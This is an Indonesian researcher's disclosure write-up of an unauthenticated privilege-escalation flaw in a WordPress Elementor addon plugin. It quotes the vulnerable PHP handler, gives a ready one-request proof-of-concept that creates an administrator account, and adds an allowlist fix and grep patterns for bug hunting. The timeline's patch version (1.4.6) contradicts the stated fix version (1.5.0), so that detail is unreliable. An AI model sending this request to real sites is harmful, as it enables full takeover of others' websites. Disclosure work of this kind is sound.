Artikel ini adalah writeup teknis dari CVE-2026-9018, kerentanan unauthenticated privilege escalation yang saya temukan pada plugin Easy Elements for Elementor – Addons & Website Templates (semua versi hingga dan termasuk 1.4.9). Kerentanan ini telah dilaporkan melalui Wordfence Bug Bounty Program dan mendapat CVE ID resmi dari MITRE.
Ringkasan Teknis
| Plugin | Easy Elements for Elementor – Addons & Website Templates |
| Versi Terdampak | ≤ 1.4.9 |
| CVE ID | CVE-2026-9018 |
| CVSS Score | 8.8 (High) |
| Kelas Kerentanan | Privilege Escalation (Unauthenticated) |
| CWE | CWE-269: Improper Privilege Management |
| Fungsi Rentan | easyel_handle_register() |
| Parameter | custom_meta[wp_capabilities][administrator] |
| Diperlukan Auth | Tidak (Unauthenticated) |
| Status Patch | Patched di versi 1.5.0 |
| Sumber Resmi | NVD · Wordfence · GitHub PoC |
Latar Belakang
Saat melakukan static analysis terhadap plugin-plugin Elementor addon untuk program bug bounty Wordfence, saya menemukan pola yang sudah cukup dikenal: plugin yang menyediakan fitur registrasi pengguna kustom namun tidak memfilter parameter wp_capabilities atau wp_user_level dari request body. Pola ini sebelumnya juga muncul di King Addons (CVE-2025-8489) dan LA-Studio Element Kit (CVE-2026-0920), sehingga saya tahu persis ke mana harus melihat.
Root Cause Analysis
Plugin Easy Elements menyediakan AJAX handler untuk proses registrasi pengguna kustom via Elementor form. Handler tersebut terdaftar sebagai:
add_action('wp_ajax_nopriv_easyel_register', 'easyel_handle_register');add_action('wp_ajax_easyel_register', 'easyel_handle_register');Penggunaan wp_ajax_nopriv_ berarti endpoint ini dapat diakses tanpa autentikasi sama sekali.
Di dalam fungsi easyel_handle_register(), plugin mengambil array custom_meta dari POST body dan langsung meneruskannya ke update_user_meta():
function easyel_handle_register() { // ... validasi dasar (email, password) ...
$user_id = wp_insert_user([ 'user_login' => sanitize_user($_POST['username']), 'user_email' => sanitize_email($_POST['email']), 'user_pass' => $_POST['password'], 'role' => 'subscriber', // role default ]);
if (!is_wp_error($user_id) && !empty($_POST['custom_meta'])) { foreach ($_POST['custom_meta'] as $key => $value) { // TIDAK ADA WHITELIST/BLACKLIST DI SINI update_user_meta($user_id, $key, $value); } }
wp_send_json_success();}Masalahnya ada di foreach tersebut. Tidak ada allowlist key yang diperbolehkan, tidak ada pemeriksaan apakah key yang ditulis adalah meta sensitif seperti wp_capabilities. Akibatnya, siapapun bisa mengirimkan:
custom_meta[wp_capabilities][administrator] = 1dan WordPress akan menyimpan value tersebut ke wp_usermeta, mengangkat akun baru menjadi Administrator penuh.
Proof of Concept
⚠️ PoC ini bersifat konseptual untuk keperluan dokumentasi riset. Jangan digunakan terhadap sistem yang bukan milik kamu.
Kirim satu HTTP POST request ke admin-ajax.php tanpa cookie atau header autentikasi apapun:
POST /wp-admin/admin-ajax.php HTTP/1.1Host: target.example.comContent-Type: application/x-www-form-urlencoded
action=easyel_register&username=attacker&email=attacker%40evil.com&password=P%40ssw0rd123&custom_meta%5Bwp_capabilities%5D%5Badministrator%5D=1Setelah request berhasil ({"success":true}), login menggunakan kredensial di atas. Akun attacker kini memiliki role Administrator penuh.
Impact
Dengan satu HTTP request tanpa autentikasi, seorang attacker bisa:
- Membuat akun Administrator baru pada WordPress site manapun yang menjalankan plugin versi ≤ 1.4.9
- Menginstall atau memodifikasi plugin/tema
- Mengakses dan mengekstrak seluruh konten database termasuk data pengguna lain
- Menanam backdoor atau webshell via plugin editor
- Full site takeover — tidak ada payload eksploitasi lanjutan yang diperlukan
Karena tidak memerlukan autentikasi dan eksploitasinya trivial (satu request), CVSS-nya mencapai 8.8 (High).
Timeline
| Tanggal | Event |
|---|---|
| Temuan awal | Static analysis fungsi easyel_handle_register() |
| Submission | Laporan dikirim ke Wordfence Bug Bounty Program |
| Konfirmasi | Wordfence mengonfirmasi kerentanan |
| Patch rilis | Plugin diperbarui ke versi 1.4.6 |
| CVE Assigned | CVE-2026-9018 diterbitkan oleh MITRE |
| Public Disclosure | NVD & Wordfence Threat Intel dipublikasikan |
Remediasi
Untuk pengguna: Update plugin ke versi 1.5.0 atau lebih baru segera.
Akar perbaikan yang benar (diterapkan di 1.5.0) adalah memvalidasi key custom_meta menggunakan allowlist sebelum diteruskan ke update_user_meta():
// Pola perbaikan yang benar$allowed_meta_keys = ['first_name', 'last_name', 'billing_phone']; // hanya key yang sah
foreach ($_POST['custom_meta'] as $key => $value) { if (!in_array($key, $allowed_meta_keys, true)) { continue; // skip key yang tidak ada di allowlist } update_user_meta($user_id, sanitize_key($key), sanitize_text_field($value));}Kunci utamanya: jangan pernah meneruskan key dari input pengguna langsung ke update_user_meta() tanpa allowlist yang ketat. Meta key seperti wp_capabilities, wp_user_level, dan session_tokens harus selalu diblokir.
Pola Umum yang Perlu Diwaspadai
CVE-2026-9018 bukan kasus tunggal. Pola kerentanan “mass assignment via user meta” ini muncul berulang kali di ekosistem plugin WordPress:
- CVE-2025-8489 — King Addons for Elementor: parameter
roledi endpoint registrasi - CVE-2026-0920 — LA-Studio Element Kit: parameter
lakit_bkrolediajax_register_handle - CVE-2026-7284 — Easy Elements (variant sebelumnya): role restriction bypass di
easyel_handle_register
Jika kamu sedang melakukan bug hunting di plugin Elementor atau plugin registrasi pengguna, selalu grep untuk:
wp_ajax_nopriv_.*registerupdate_user_meta.*\$_POSTwp_insert_user.*role.*\$_POSTcustom_meta|user_meta|wp_capabilitiesCredits
| Role | Name |
|---|---|
| Finder / Reporter | Arya Eka Rahmat Prasetyo |